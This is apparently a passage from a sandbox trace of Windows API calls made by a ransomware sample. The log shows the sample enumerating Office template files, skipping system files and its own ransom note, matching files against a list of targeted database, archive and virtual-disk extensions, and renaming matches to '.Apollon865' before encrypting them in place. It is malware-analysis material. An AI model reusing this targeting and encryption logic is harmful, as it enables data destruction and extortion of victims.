	[0065.198] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0065.198] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0065.198] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2b10
	[0065.199] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0065.199] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2b10 | out: hHeap=0x580000) returned 1
	[0065.199] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0065.199] UnmapViewOfFile (lpBaseAddress=0x210000) returned 1
	[0065.201] CloseHandle (hObject=0x150) returned 1
	[0065.201] CloseHandle (hObject=0x118) returned 1
	[0065.202] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0065.202] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf5f0 | out: hHeap=0x580000) returned 1
	[0065.202] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3470020 | out: hHeap=0x580000) returned 1
	[0065.203] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77f97a00, ftCreationTime.dwHighDateTime=0x1caa4fd, ftLastAccessTime.dwLowDateTime=0x1503b470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77f97a00, ftLastWriteTime.dwHighDateTime=0x1caa4fd, nFileSizeHigh=0x0, nFileSizeLow=0x510d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Details.accdt", cAlternateFileName="DETAIL~1.ACC")) returned 1
	[0065.203] lstrcmpiW (lpString1="Details.accdt", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0065.203] lstrcmpiW (lpString1="Details.accdt", lpString2="Apollon865.txt.exe") returned 1
	[0065.203] lstrcmpiW (lpString1="Details.accdt", lpString2=".") returned 1
	[0065.203] lstrcmpiW (lpString1="Details.accdt", lpString2="..") returned 1
	[0065.203] lstrcmpiW (lpString1="Details.accdt", lpString2="windows") returned -1
	[0065.203] lstrcmpiW (lpString1="Details.accdt", lpString2="bootmgr") returned 1
	[0065.203] lstrcmpiW (lpString1="Details.accdt", lpString2="temp") returned -1
	[0065.203] lstrcmpiW (lpString1="Details.accdt", lpString2="pagefile.sys") returned -1
	[0065.203] lstrcmpiW (lpString1="Details.accdt", lpString2="boot") returned 1
	[0065.203] lstrcmpiW (lpString1="Details.accdt", lpString2="ids.txt") returned -1
	[0065.203] lstrcmpiW (lpString1="Details.accdt", lpString2="ntuser.dat") returned -1
	[0065.203] lstrcmpiW (lpString1="Details.accdt", lpString2="perflogs") returned -1
	[0065.203] lstrcmpiW (lpString1="Details.accdt", lpString2="MSBuild") returned -1
	[0065.204] lstrlenW (lpString="Details.accdt") returned 13
	[0065.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\Contacts.accdt") returned 75
	[0065.204] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="Details.accdt" | out: lpString1="Details.accdt") returned="Details.accdt"
	[0065.204] lstrlenW (lpString="Details.accdt") returned 13
	[0065.204] lstrlenW (lpString="Apollon865") returned 10
	[0065.204] lstrcmpiW (lpString1="ails.accdt", lpString2="Apollon865") returned -1
	[0065.204] lstrlenW (lpString=".dll") returned 4
	[0065.204] lstrcmpiW (lpString1="Details.accdt", lpString2=".dll") returned 1
	[0065.204] lstrlenW (lpString=".lnk") returned 4
	[0065.204] lstrcmpiW (lpString1="Details.accdt", lpString2=".lnk") returned 1
	[0065.204] lstrlenW (lpString=".ini") returned 4
	[0065.204] lstrcmpiW (lpString1="Details.accdt", lpString2=".ini") returned 1
	[0065.204] lstrlenW (lpString=".sys") returned 4
	[0065.204] lstrcmpiW (lpString1="Details.accdt", lpString2=".sys") returned 1
	[0065.204] lstrlenW (lpString="Details.accdt") returned 13
	[0065.204] lstrlenW (lpString="bak") returned 3
	[0065.204] lstrcmpiW (lpString1="cdt", lpString2="bak") returned 1
	[0065.204] lstrlenW (lpString="ba_") returned 3
	[0065.204] lstrcmpiW (lpString1="cdt", lpString2="ba_") returned 1
	[0065.204] lstrlenW (lpString="dbb") returned 3
	[0065.204] lstrcmpiW (lpString1="cdt", lpString2="dbb") returned -1
	[0065.204] lstrlenW (lpString="vmdk") returned 4
	[0065.204] lstrcmpiW (lpString1="ccdt", lpString2="vmdk") returned -1
	[0065.204] lstrlenW (lpString="rar") returned 3
	[0065.204] lstrcmpiW (lpString1="cdt", lpString2="rar") returned -1
	[0065.204] lstrlenW (lpString="zip") returned 3
	[0065.204] lstrcmpiW (lpString1="cdt", lpString2="zip") returned -1
	[0065.204] lstrlenW (lpString="tgz") returned 3
	[0065.204] lstrcmpiW (lpString1="cdt", lpString2="tgz") returned -1
	[0065.204] lstrlenW (lpString="vbox") returned 4
	[0065.204] lstrcmpiW (lpString1="ccdt", lpString2="vbox") returned -1
	[0065.204] lstrlenW (lpString="vdi") returned 3
	[0065.204] lstrcmpiW (lpString1="cdt", lpString2="vdi") returned -1
	[0065.204] lstrlenW (lpString="vhd") returned 3
	[0065.204] lstrcmpiW (lpString1="cdt", lpString2="vhd") returned -1
	[0065.205] lstrlenW (lpString="vhdx") returned 4
	[0065.205] lstrcmpiW (lpString1="ccdt", lpString2="vhdx") returned -1
	[0065.205] lstrlenW (lpString="avhd") returned 4
	[0065.205] lstrcmpiW (lpString1="ccdt", lpString2="avhd") returned 1
	[0065.205] lstrlenW (lpString="db") returned 2
	[0065.205] lstrcmpiW (lpString1="dt", lpString2="db") returned 1
	[0065.205] lstrlenW (lpString="db2") returned 3
	[0065.205] lstrcmpiW (lpString1="cdt", lpString2="db2") returned -1
	[0065.205] lstrlenW (lpString="db3") returned 3
	[0065.205] lstrcmpiW (lpString1="cdt", lpString2="db3") returned -1
	[0065.205] lstrlenW (lpString="dbf") returned 3
	[0065.205] lstrcmpiW (lpString1="cdt", lpString2="dbf") returned -1
	[0065.205] lstrlenW (lpString="mdf") returned 3
	[0065.205] lstrcmpiW (lpString1="cdt", lpString2="mdf") returned -1
	[0065.205] lstrlenW (lpString="mdb") returned 3
	[0065.205] lstrcmpiW (lpString1="cdt", lpString2="mdb") returned -1
	[0065.205] lstrlenW (lpString="sql") returned 3
	[0065.205] lstrcmpiW (lpString1="cdt", lpString2="sql") returned -1
	[0065.205] lstrlenW (lpString="sqlite") returned 6
	[0065.205] lstrcmpiW (lpString1=".accdt", lpString2="sqlite") returned -1
	[0065.205] lstrlenW (lpString="sqlite3") returned 7
	[0065.205] lstrcmpiW (lpString1="s.accdt", lpString2="sqlite3") returned -1
	[0065.205] lstrlenW (lpString="sqlitedb") returned 8
	[0065.205] lstrcmpiW (lpString1="ls.accdt", lpString2="sqlitedb") returned -1
	[0065.205] lstrlenW (lpString="xml") returned 3
	[0065.205] lstrcmpiW (lpString1="cdt", lpString2="xml") returned -1
	[0065.205] lstrlenW (lpString="$er") returned 3
	[0065.205] lstrcmpiW (lpString1="cdt", lpString2="$er") returned 1
	[0065.205] lstrlenW (lpString="4dd") returned 3
	[0065.205] lstrcmpiW (lpString1="cdt", lpString2="4dd") returned 1
	[0065.205] lstrlenW (lpString="4dl") returned 3
	[0065.205] lstrcmpiW (lpString1="cdt", lpString2="4dl") returned 1
	[0065.205] lstrlenW (lpString="^^^") returned 3
	[0065.205] lstrcmpiW (lpString1="cdt", lpString2="^^^") returned 1
	[0065.205] lstrlenW (lpString="abs") returned 3
	[0065.206] lstrcmpiW (lpString1="cdt", lpString2="abs") returned 1
	[0065.206] lstrlenW (lpString="abx") returned 3
	[0065.206] lstrcmpiW (lpString1="cdt", lpString2="abx") returned 1
	[0065.206] lstrlenW (lpString="accdb") returned 5
	[0065.206] lstrcmpiW (lpString1="accdt", lpString2="accdb") returned 1
	[0065.206] lstrlenW (lpString="accdc") returned 5
	[0065.206] lstrcmpiW (lpString1="accdt", lpString2="accdc") returned 1
	[0065.206] lstrlenW (lpString="accde") returned 5
	[0065.206] lstrcmpiW (lpString1="accdt", lpString2="accde") returned 1
	[0065.206] lstrlenW (lpString="accdr") returned 5
	[0065.206] lstrcmpiW (lpString1="accdt", lpString2="accdr") returned 1
	[0065.206] lstrlenW (lpString="accdt") returned 5
	[0065.206] lstrcmpiW (lpString1="accdt", lpString2="accdt") returned 0
	[0065.206] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\Details.accdt.Apollon865") returned 85
	[0065.206] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\Details.accdt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\part\\details.accdt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\Details.accdt.Apollon865" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\part\\details.accdt.apollon865"), dwFlags=0x1) returned 1
	[0065.207] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\Details.accdt.Apollon865" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\part\\details.accdt.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x118
	[0065.207] GetFileSizeEx (in: hFile=0x118, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=20749) returned 1
	[0065.207] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3470020
	[0065.207] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0065.207] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf5f0
	[0065.207] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf898) returned 1
	[0065.208] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0065.208] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0065.208] CreateFileMappingW (hFile=0x118, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5410, lpName=0x0) returned 0x150
	[0065.210] MapViewOfFile (hFileMappingObject=0x150, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x5410) returned 0x100000
	[0065.211] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf898) returned 1
	[0065.212] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0065.212] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0065.212] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa10
	[0065.212] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa10 | out: hHeap=0x580000) returned 1
	[0065.212] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0065.212] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0065.212] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0065.212] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0065.212] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0065.212] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0065.212] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0065.212] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0065.212] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0065.213] CloseHandle (hObject=0x150) returned 1
	[0065.213] CloseHandle (hObject=0x118) returned 1
	[0065.213] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0065.213] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf5f0 | out: hHeap=0x580000) returned 1
	[0065.213] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3470020 | out: hHeap=0x580000) returned 1
	[0065.213] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8051b500, ftCreationTime.dwHighDateTime=0x1caa4fd, ftLastAccessTime.dwLowDateTime=0x1503b470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8051b500, ftLastWriteTime.dwHighDateTime=0x1caa4fd, nFileSizeHigh=0x0, nFileSizeLow=0x53d9, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Dialog.accdt", cAlternateFileName="DIALOG~1.ACC")) returned 1
	[0065.213] lstrcmpiW (lpString1="Dialog.accdt", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0065.213] lstrcmpiW (lpString1="Dialog.accdt", lpString2="Apollon865.txt.exe") returned 1
	[0065.213] lstrcmpiW (lpString1="Dialog.accdt", lpString2=".") returned 1
	[0065.213] lstrcmpiW (lpString1="Dialog.accdt", lpString2="..") returned 1
	[0065.213] lstrcmpiW (lpString1="Dialog.accdt", lpString2="windows") returned -1
	[0065.213] lstrcmpiW (lpString1="Dialog.accdt", lpString2="bootmgr") returned 1
	[0065.213] lstrcmpiW (lpString1="Dialog.accdt", lpString2="temp") returned -1
	[0065.213] lstrcmpiW (lpString1="Dialog.accdt", lpString2="pagefile.sys") returned -1
	[0065.213] lstrcmpiW (lpString1="Dialog.accdt", lpString2="boot") returned 1
	[0065.214] lstrcmpiW (lpString1="Dialog.accdt", lpString2="ids.txt") returned -1
	[0065.214] lstrcmpiW (lpString1="Dialog.accdt", lpString2="ntuser.dat") returned -1
	[0065.214] lstrcmpiW (lpString1="Dialog.accdt", lpString2="perflogs") returned -1
	[0065.214] lstrcmpiW (lpString1="Dialog.accdt", lpString2="MSBuild") returned -1
	[0065.214] lstrlenW (lpString="Dialog.accdt") returned 12
	[0065.214] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\Details.accdt") returned 74
	[0065.214] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="Dialog.accdt" | out: lpString1="Dialog.accdt") returned="Dialog.accdt"
	[0065.214] lstrlenW (lpString="Dialog.accdt") returned 12
	[0065.214] lstrlenW (lpString="Apollon865") returned 10
	[0065.214] lstrcmpiW (lpString1="alog.accdt", lpString2="Apollon865") returned -1
	[0065.214] lstrlenW (lpString=".dll") returned 4
	[0065.214] lstrcmpiW (lpString1="Dialog.accdt", lpString2=".dll") returned 1
	[0065.214] lstrlenW (lpString=".lnk") returned 4
	[0065.214] lstrcmpiW (lpString1="Dialog.accdt", lpString2=".lnk") returned 1
	[0065.214] lstrlenW (lpString=".ini") returned 4
	[0065.214] lstrcmpiW (lpString1="Dialog.accdt", lpString2=".ini") returned 1
	[0065.214] lstrlenW (lpString=".sys") returned 4
	[0065.214] lstrcmpiW (lpString1="Dialog.accdt", lpString2=".sys") returned 1
	[0065.214] lstrlenW (lpString="Dialog.accdt") returned 12
	[0065.214] lstrlenW (lpString="bak") returned 3
	[0065.214] lstrcmpiW (lpString1="cdt", lpString2="bak") returned 1
	[0065.214] lstrlenW (lpString="ba_") returned 3
	[0065.214] lstrcmpiW (lpString1="cdt", lpString2="ba_") returned 1
	[0065.214] lstrlenW (lpString="dbb") returned 3
	[0065.214] lstrcmpiW (lpString1="cdt", lpString2="dbb") returned -1
	[0065.214] lstrlenW (lpString="vmdk") returned 4
	[0065.214] lstrcmpiW (lpString1="ccdt", lpString2="vmdk") returned -1
	[0065.214] lstrlenW (lpString="rar") returned 3
	[0065.214] lstrcmpiW (lpString1="cdt", lpString2="rar") returned -1
	[0065.214] lstrlenW (lpString="zip") returned 3
	[0065.214] lstrcmpiW (lpString1="cdt", lpString2="zip") returned -1
	[0065.214] lstrlenW (lpString="tgz") returned 3
	[0065.214] lstrcmpiW (lpString1="cdt", lpString2="tgz") returned -1
	[0065.214] lstrlenW (lpString="vbox") returned 4
	[0065.215] lstrcmpiW (lpString1="ccdt", lpString2="vbox") returned -1
	[0065.215] lstrlenW (lpString="vdi") returned 3
	[0065.215] lstrcmpiW (lpString1="cdt", lpString2="vdi") returned -1
	[0065.215] lstrlenW (lpString="vhd") returned 3
	[0065.215] lstrcmpiW (lpString1="cdt", lpString2="vhd") returned -1
	[0065.215] lstrlenW (lpString="vhdx") returned 4
	[0065.215] lstrcmpiW (lpString1="ccdt", lpString2="vhdx") returned -1
	[0065.215] lstrlenW (lpString="avhd") returned 4
	[0065.215] lstrcmpiW (lpString1="ccdt", lpString2="avhd") returned 1
	[0065.215] lstrlenW (lpString="db") returned 2
	[0065.215] lstrcmpiW (lpString1="dt", lpString2="db") returned 1
	[0065.215] lstrlenW (lpString="db2") returned 3
	[0065.215] lstrcmpiW (lpString1="cdt", lpString2="db2") returned -1
	[0065.215] lstrlenW (lpString="db3") returned 3
	[0065.215] lstrcmpiW (lpString1="cdt", lpString2="db3") returned -1
	[0065.215] lstrlenW (lpString="dbf") returned 3
	[0065.215] lstrcmpiW (lpString1="cdt", lpString2="dbf") returned -1
	[0065.215] lstrlenW (lpString="mdf") returned 3
	[0065.215] lstrcmpiW (lpString1="cdt", lpString2="mdf") returned -1
	[0065.215] lstrlenW (lpString="mdb") returned 3
	[0065.215] lstrcmpiW (lpString1="cdt", lpString2="mdb") returned -1
	[0065.215] lstrlenW (lpString="sql") returned 3
	[0065.215] lstrcmpiW (lpString1="cdt", lpString2="sql") returned -1
	[0065.215] lstrlenW (lpString="sqlite") returned 6
	[0065.215] lstrcmpiW (lpString1=".accdt", lpString2="sqlite") returned -1
	[0065.215] lstrlenW (lpString="sqlite3") returned 7
	[0065.215] lstrcmpiW (lpString1="g.accdt", lpString2="sqlite3") returned -1
	[0065.215] lstrlenW (lpString="sqlitedb") returned 8
	[0065.215] lstrcmpiW (lpString1="og.accdt", lpString2="sqlitedb") returned -1
	[0065.215] lstrlenW (lpString="xml") returned 3
	[0065.215] lstrcmpiW (lpString1="cdt", lpString2="xml") returned -1
	[0065.215] lstrlenW (lpString="$er") returned 3
	[0065.215] lstrcmpiW (lpString1="cdt", lpString2="$er") returned 1
	[0065.215] lstrlenW (lpString="4dd") returned 3
	[0065.215] lstrcmpiW (lpString1="cdt", lpString2="4dd") returned 1
	[0065.216] lstrlenW (lpString="4dl") returned 3
	[0065.216] lstrcmpiW (lpString1="cdt", lpString2="4dl") returned 1
	[0065.216] lstrlenW (lpString="^^^") returned 3
	[0065.216] lstrcmpiW (lpString1="cdt", lpString2="^^^") returned 1
	[0065.216] lstrlenW (lpString="abs") returned 3
	[0065.216] lstrcmpiW (lpString1="cdt", lpString2="abs") returned 1
	[0065.216] lstrlenW (lpString="abx") returned 3
	[0065.216] lstrcmpiW (lpString1="cdt", lpString2="abx") returned 1
	[0065.216] lstrlenW (lpString="accdb") returned 5
	[0065.216] lstrcmpiW (lpString1="accdt", lpString2="accdb") returned 1
	[0065.216] lstrlenW (lpString="accdc") returned 5
	[0065.216] lstrcmpiW (lpString1="accdt", lpString2="accdc") returned 1
	[0065.216] lstrlenW (lpString="accde") returned 5
	[0065.216] lstrcmpiW (lpString1="accdt", lpString2="accde") returned 1
	[0065.216] lstrlenW (lpString="accdr") returned 5
	[0065.216] lstrcmpiW (lpString1="accdt", lpString2="accdr") returned 1
	[0065.216] lstrlenW (lpString="accdt") returned 5
	[0065.216] lstrcmpiW (lpString1="accdt", lpString2="accdt") returned 0
	[0065.216] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\Dialog.accdt.Apollon865") returned 84
	[0065.216] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\Dialog.accdt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\part\\dialog.accdt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\Dialog.accdt.Apollon865" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\part\\dialog.accdt.apollon865"), dwFlags=0x1) returned 1
	[0065.217] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\Dialog.accdt.Apollon865" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\part\\dialog.accdt.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x118
	[0065.218] GetFileSizeEx (in: hFile=0x118, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=21465) returned 1
	[0065.218] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3470020
	[0065.218] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0065.218] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf5f0
	[0065.218] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf898) returned 1
	[0065.219] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0065.219] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0065.219] CreateFileMappingW (hFile=0x118, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x56e0, lpName=0x0) returned 0x150
	[0065.221] MapViewOfFile (hFileMappingObject=0x150, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x56e0) returned 0x100000
	[0065.223] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf898) returned 1
	[0065.223] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0065.223] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0065.223] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa10
	[0065.223] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa10 | out: hHeap=0x580000) returned 1
	[0065.223] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0065.223] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0065.223] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0065.224] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0065.224] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2b10
	[0065.224] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0065.224] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2b10 | out: hHeap=0x580000) returned 1
	[0065.224] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0065.224] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0065.224] CloseHandle (hObject=0x150) returned 1
	[0065.224] CloseHandle (hObject=0x118) returned 1
	[0065.224] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0065.224] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf5f0 | out: hHeap=0x580000) returned 1
	[0065.225] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3470020 | out: hHeap=0x580000) returned 1
	[0065.225] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ee13dd0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x3ee13dd0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0065.225] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0065.225] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92335800, ftCreationTime.dwHighDateTime=0x1caa4fd, ftLastAccessTime.dwLowDateTime=0x1503b470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x92335800, ftLastWriteTime.dwHighDateTime=0x1caa4fd, nFileSizeHigh=0x0, nFileSizeLow=0xc660, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Issues.accdt", cAlternateFileName="ISSUES~1.ACC")) returned 1
	[0065.225] lstrcmpiW (lpString1="Issues.accdt", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0065.225] lstrcmpiW (lpString1="Issues.accdt", lpString2="Apollon865.txt.exe") returned 1
	[0065.225] lstrcmpiW (lpString1="Issues.accdt", lpString2=".") returned 1
	[0065.225] lstrcmpiW (lpString1="Issues.accdt", lpString2="..") returned 1
	[0065.225] lstrcmpiW (lpString1="Issues.accdt", lpString2="windows") returned -1
	[0065.225] lstrcmpiW (lpString1="Issues.accdt", lpString2="bootmgr") returned 1
	[0065.225] lstrcmpiW (lpString1="Issues.accdt", lpString2="temp") returned -1
	[0065.225] lstrcmpiW (lpString1="Issues.accdt", lpString2="pagefile.sys") returned -1
	[0065.225] lstrcmpiW (lpString1="Issues.accdt", lpString2="boot") returned 1
	[0065.225] lstrcmpiW (lpString1="Issues.accdt", lpString2="ids.txt") returned 1
	[0065.225] lstrcmpiW (lpString1="Issues.accdt", lpString2="ntuser.dat") returned -1
	[0065.225] lstrcmpiW (lpString1="Issues.accdt", lpString2="perflogs") returned -1
	[0065.225] lstrcmpiW (lpString1="Issues.accdt", lpString2="MSBuild") returned -1
	[0065.225] lstrlenW (lpString="Issues.accdt") returned 12
	[0065.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\Dialog.accdt") returned 73
	[0065.225] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="Issues.accdt" | out: lpString1="Issues.accdt") returned="Issues.accdt"
	[0065.225] lstrlenW (lpString="Issues.accdt") returned 12
	[0065.225] lstrlenW (lpString="Apollon865") returned 10
	[0065.225] lstrcmpiW (lpString1="sues.accdt", lpString2="Apollon865") returned 1
	[0065.225] lstrlenW (lpString=".dll") returned 4
	[0065.225] lstrcmpiW (lpString1="Issues.accdt", lpString2=".dll") returned 1
	[0065.226] lstrlenW (lpString=".lnk") returned 4
	[0065.226] lstrcmpiW (lpString1="Issues.accdt", lpString2=".lnk") returned 1
	[0065.226] lstrlenW (lpString=".ini") returned 4
	[0065.226] lstrcmpiW (lpString1="Issues.accdt", lpString2=".ini") returned 1
	[0065.226] lstrlenW (lpString=".sys") returned 4
	[0065.226] lstrcmpiW (lpString1="Issues.accdt", lpString2=".sys") returned 1
	[0065.226] lstrlenW (lpString="Issues.accdt") returned 12
	[0065.226] lstrlenW (lpString="bak") returned 3
	[0065.226] lstrcmpiW (lpString1="cdt", lpString2="bak") returned 1
	[0065.226] lstrlenW (lpString="ba_") returned 3
	[0065.226] lstrcmpiW (lpString1="cdt", lpString2="ba_") returned 1
	[0065.226] lstrlenW (lpString="dbb") returned 3
	[0065.226] lstrcmpiW (lpString1="cdt", lpString2="dbb") returned -1
	[0065.226] lstrlenW (lpString="vmdk") returned 4
